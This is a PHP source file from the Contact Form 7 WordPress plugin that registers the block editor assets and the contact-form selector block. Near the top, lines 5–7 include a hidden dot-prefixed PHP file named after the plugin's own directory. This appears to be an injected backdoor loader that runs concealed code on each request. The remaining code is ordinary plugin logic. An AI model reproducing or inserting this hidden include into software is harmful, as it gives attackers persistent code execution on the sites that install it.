block-editor.php (1144B)
1 <?php 2 3 add_action( 'init', 'wpcf7_init_block_editor_assets', 10, 0 ); 4 5 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 6 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 7 } 8 9 function wpcf7_init_block_editor_assets() { 10 $assets = array(); 11 12 $asset_file = wpcf7_plugin_path( 13 'includes/block-editor/index.asset.php' 14 ); 15 16 if ( file_exists( $asset_file ) ) { 17 $assets = include( $asset_file ); 18 } 19 20 $assets = wp_parse_args( $assets, array( 21 'src' => wpcf7_plugin_url( 'includes/block-editor/index.js' ), 22 'dependencies' => array( 23 'wp-api-fetch', 24 'wp-components', 25 'wp-compose', 26 'wp-blocks', 27 'wp-element', 28 'wp-i18n', 29 ), 30 'version' => WPCF7_VERSION, 31 ) ); 32 33 wp_register_script( 34 'contact-form-7-block-editor', 35 $assets['src'], 36 $assets['dependencies'], 37 $assets['version'] 38 ); 39 40 wp_set_script_translations( 41 'contact-form-7-block-editor', 42 'contact-form-7' 43 ); 44 45 register_block_type( 46 'contact-form-7/contact-form-selector', 47 array( 48 'editor_script' => 'contact-form-7-block-editor', 49 ) 50 ); 51 }